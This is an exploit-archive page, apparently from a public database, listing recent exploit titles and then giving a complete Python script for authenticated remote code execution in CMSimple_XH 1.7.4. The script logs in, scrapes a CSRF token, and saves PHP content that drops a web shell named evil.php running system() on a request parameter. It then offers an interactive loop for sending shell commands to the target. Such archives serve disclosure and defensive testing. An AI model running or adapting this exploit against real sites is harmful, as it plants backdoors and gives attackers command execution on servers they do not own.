8955161978
10 changes to exploits/shellcodes Exam Form Submission System 1.0 - SQL Injection Authentication Bypass Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation via XML Signature Wrapping Blood Bank System 1.0 - SQL Injection / Authentication Bypass Phpwcms 1.9.30 - File Upload to XSS Vehicle Service Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated) Dairy Farm Shop Management System 1.0 - SQL Injection Authentication Bypass WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS) CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated) Directory Management System 1.0 - SQL Injection Authentication Bypass Windows/x86 - WinExec PopCalc PEB & Export Directory Table NullFree Dynamic Shellcode (178 bytes)
189 lines
No EOL
4.6 KiB
Python
Executable file
189 lines
No EOL
4.6 KiB
Python
Executable file
# Exploit Title: CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)
|
|
# Date: 01-10-2021
|
|
# Exploit Author: Halit AKAYDIN (hLtAkydn)
|
|
# Vendor Homepage: https://www.cmsimple-xh.org/
|
|
# Software Link: https://www.cmsimple-xh.org/?Downloads
|
|
# Version: 1.7.4
|
|
# Category: Webapps
|
|
# Tested on: Linux/Windows
|
|
|
|
|
|
# CMSimple_XH is an open source project under GPL3 license
|
|
# Includes an endpoint that allows remote access
|
|
# Backup page is misconfigured, causing security vulnerability
|
|
# User information with sufficient permissions is required.
|
|
|
|
# Example: python3 exploit.py -u http://example.com -p Admin123
|
|
|
|
|
|
|
|
from bs4 import BeautifulSoup
|
|
from time import sleep
|
|
import requests
|
|
import argparse
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description='CMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)')
|
|
parser.add_argument('-u', '--host', type=str, required=True)
|
|
parser.add_argument('-p', '--password', type=str, required=True)
|
|
args = parser.parse_args()
|
|
print("\nCMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)",
|
|
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
|
|
host(args)
|
|
|
|
|
|
|
|
def host(args):
|
|
#Check http or https
|
|
if args.host.startswith(('http://', 'https://')):
|
|
print("[?] Check Url...\n")
|
|
sleep(2)
|
|
args.host = args.host
|
|
if args.host.endswith('/'):
|
|
args.host = args.host[:-1]
|
|
else:
|
|
pass
|
|
else:
|
|
print("\n[?] Check Adress...\n")
|
|
sleep(2)
|
|
args.host = "http://" + args.host
|
|
args.host = args.host
|
|
if args.host.endswith('/'):
|
|
args.host = args.host[:-1]
|
|
else:
|
|
pass
|
|
|
|
|
|
# Check Host Status
|
|
try:
|
|
response = requests.get(args.host)
|
|
if response.status_code == 200:
|
|
login(args)
|
|
else:
|
|
print("[-] Address not reachable!")
|
|
sleep(2)
|
|
|
|
except requests.ConnectionError as exception:
|
|
print("[-] Address not reachable!")
|
|
sleep(2)
|
|
exit(1)
|
|
|
|
|
|
def login(args):
|
|
|
|
url = args.host + "/?&login"
|
|
cookies = {
|
|
"XH_2f": "evil"
|
|
}
|
|
headers = {
|
|
"Origin": args.host,
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
|
"Referer": args.host + "/?&login"
|
|
}
|
|
data = {
|
|
"login": "true",
|
|
"keycut": args.password,
|
|
"submit": "Login"
|
|
}
|
|
response = requests.post(url, headers=headers, cookies=cookies, data=data)
|
|
|
|
token = response.cookies.get("XH_2f")
|
|
soup = BeautifulSoup(response.text, 'html.parser')
|
|
|
|
if (soup.find("link",{"rel":"next"})['href'] != "/"):
|
|
print("[!] Login Success!\n")
|
|
sleep(2)
|
|
csrf(args,token)
|
|
else:
|
|
print("[!] Wrong password!!\n")
|
|
sleep(2)
|
|
|
|
|
|
def csrf(args, token):
|
|
|
|
url = args.host + "/?file=content"
|
|
cookies = {
|
|
"status": "adm",
|
|
"XH_2f": token
|
|
}
|
|
headers = {
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
|
"Referer": args.host + "/?&settings",
|
|
"Accept-Encoding": "gzip, deflate",
|
|
"Connection": "close"
|
|
}
|
|
response = requests.get(url, headers=headers, cookies=cookies)
|
|
|
|
try:
|
|
soup = BeautifulSoup(response.text, 'html.parser')
|
|
csrf = soup.find_all("input", type="hidden")[3].get("value")
|
|
create(args, token, csrf)
|
|
except Exception as e:
|
|
print(e)
|
|
else:
|
|
pass
|
|
|
|
|
|
|
|
def create(args, token, csrf):
|
|
|
|
payload = "<?php\r\nfile_put_contents('./evil.php', \"\\x3c\\x3fphp system(\\x24_GET['cmd']);\\x3f\\x3e\");\r\n?>\r\n"
|
|
|
|
url = args.host
|
|
cookies = {
|
|
"status": "adm",
|
|
"XH_2f": token
|
|
}
|
|
headers = {
|
|
"Origin": args.host,
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
|
"Referer": args.host + "/?file=content&action=edit&xh_success=content",
|
|
"Accept-Encoding": "gzip, deflate"
|
|
}
|
|
data = {
|
|
"text": payload,
|
|
"file": "content",
|
|
"action": "save",
|
|
"xh_csrf_token": csrf
|
|
}
|
|
response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=True)
|
|
|
|
if (response.status_code == 200):
|
|
print("[!] Create Vuln File!\n")
|
|
sleep(2)
|
|
exploit(args)
|
|
else:
|
|
print("[!] Create Failed!\n")
|
|
sleep(2)
|
|
|
|
|
|
def exploit(args):
|
|
|
|
print("[+] Exploit Done!\n")
|
|
sleep(2)
|
|
|
|
while True:
|
|
cmd = input("$ ")
|
|
url = args.host + "/evil.php?cmd=" + cmd
|
|
headers = {
|
|
"Upgrade-Insecure-Requests": "1",
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
|
|
}
|
|
|
|
response = requests.post(url, headers=headers, timeout=5)
|
|
|
|
if response.text == "":
|
|
print(cmd + ": command not found\n")
|
|
else:
|
|
print(response.text)
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main() |